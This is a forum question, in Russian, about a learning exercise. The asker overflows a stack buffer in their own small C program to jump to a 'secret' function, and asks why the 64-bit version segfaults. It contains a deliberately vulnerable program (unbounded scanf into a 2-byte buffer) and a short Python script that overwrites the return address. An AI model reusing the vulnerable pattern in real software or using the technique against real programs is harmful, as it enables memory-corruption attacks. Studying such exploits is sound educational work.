В образовательных целях я пытаюсь выполнить переполнение буфера, которое направляет программу на другой адрес.
Это c-программа:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
int main () {
char string[2];
puts("Input: ");
scanf("%s", string);
printf("You entered %s.\n", string);
return 0;
}
Я использовал gdb, чтобы найти адрес secret1, а также смещение строки моей переменной в RIP. Используя эту информацию, я создал следующий python-эксплойт:
import struct
rip = 0x0000000100000e40
print("A"*24 + struct.pack("<q", rip))
Пока все работает - программа переходит на secret1, а затем выдает сообщение об ошибке «Ошибка сегментации».
ОДНАКО, если я расширю свою программу следующим образом:
...
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
void secret2(void) {
puts("You found the secret function No. 2!\n");
}
void secret3(void) {
puts("You found the secret function No. 3!\n");
}
...
... это SegFaults БЕЗ перехода к любой из функций, даже если новые поддельные RIP правильны (т.е. 0x0000000100000d6c для secret1, 0x0000000100000d7e для secret2). Смещения остаются такими же, как сказал мне GDB (или нет?).
Я заметил, что ни одна из моих попыток не работает, когда программа «достаточно велика», чтобы поместить секретные функции в область памяти, заканчивающуюся 0x100000 d .. - она работает как чудо, когда они где-то в 0x100000 e ..
Он также работает с несколькими секретными функциями, когда я компилирую его в 32-битном режиме (адреса изменились соответственно), но не в 64-битном режиме.
-fno-stack-protector // doesn't make any difference.
Кто-нибудь может объяснить мне это странное поведение? Большое спасибо!